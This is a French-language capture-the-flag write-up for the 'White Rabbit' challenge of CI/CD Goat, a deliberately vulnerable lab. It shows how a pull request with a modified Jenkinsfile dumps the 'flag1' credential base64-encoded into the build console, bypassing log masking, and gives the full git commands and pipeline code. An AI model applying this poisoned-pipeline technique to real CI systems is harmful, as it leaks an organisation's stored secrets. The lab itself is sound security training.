Featured image of post White Rabbit

White Rabbit

CI/CD Goat

On clone le repo suivant White Rabbit.

1
git clone http://localhost:3000/Wonderland/white-rabbit

On veut récupérer un secret stocké dans le credential store de Jenkins. Le lien suivant indique comment sont gérés les creds et comment y accéder: Doc credentials store

Après avoir lu et compris la doc je crée une nouvelle branche sur le repo:

1
git checkout -b challenge

Dans le fichier Jenkinsfile je modifie le contenu pour récupérer le contenu de la variable ‘flag1’:

1
2
3
4
5
6
7
8
9
stage ('Install_Requirements') {
    steps {
  withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
            sh '''
            echo $flag1 | base64
            '''  
            }
        }
    }

Les changements sont commit et push sur le repo:

1
2
3
git add .
git commit -m "Solution"
git push --set-upstream origin challenge

Se rendre sur le repo gitea et faire une pull request depuis la branche challenge sur le main.

Aller sur la page Jenkins du repo ici.

On peut retrouver ici toutes les pipe des différentes PR demandées:

image-20240424113305987

En selectionnant la PR demandée, aller dans l’onglet “Console output”:

image-20240424113446774

Sur cette page on retrouve bien le contenu de “flag1” en base64:

image-20240424113556619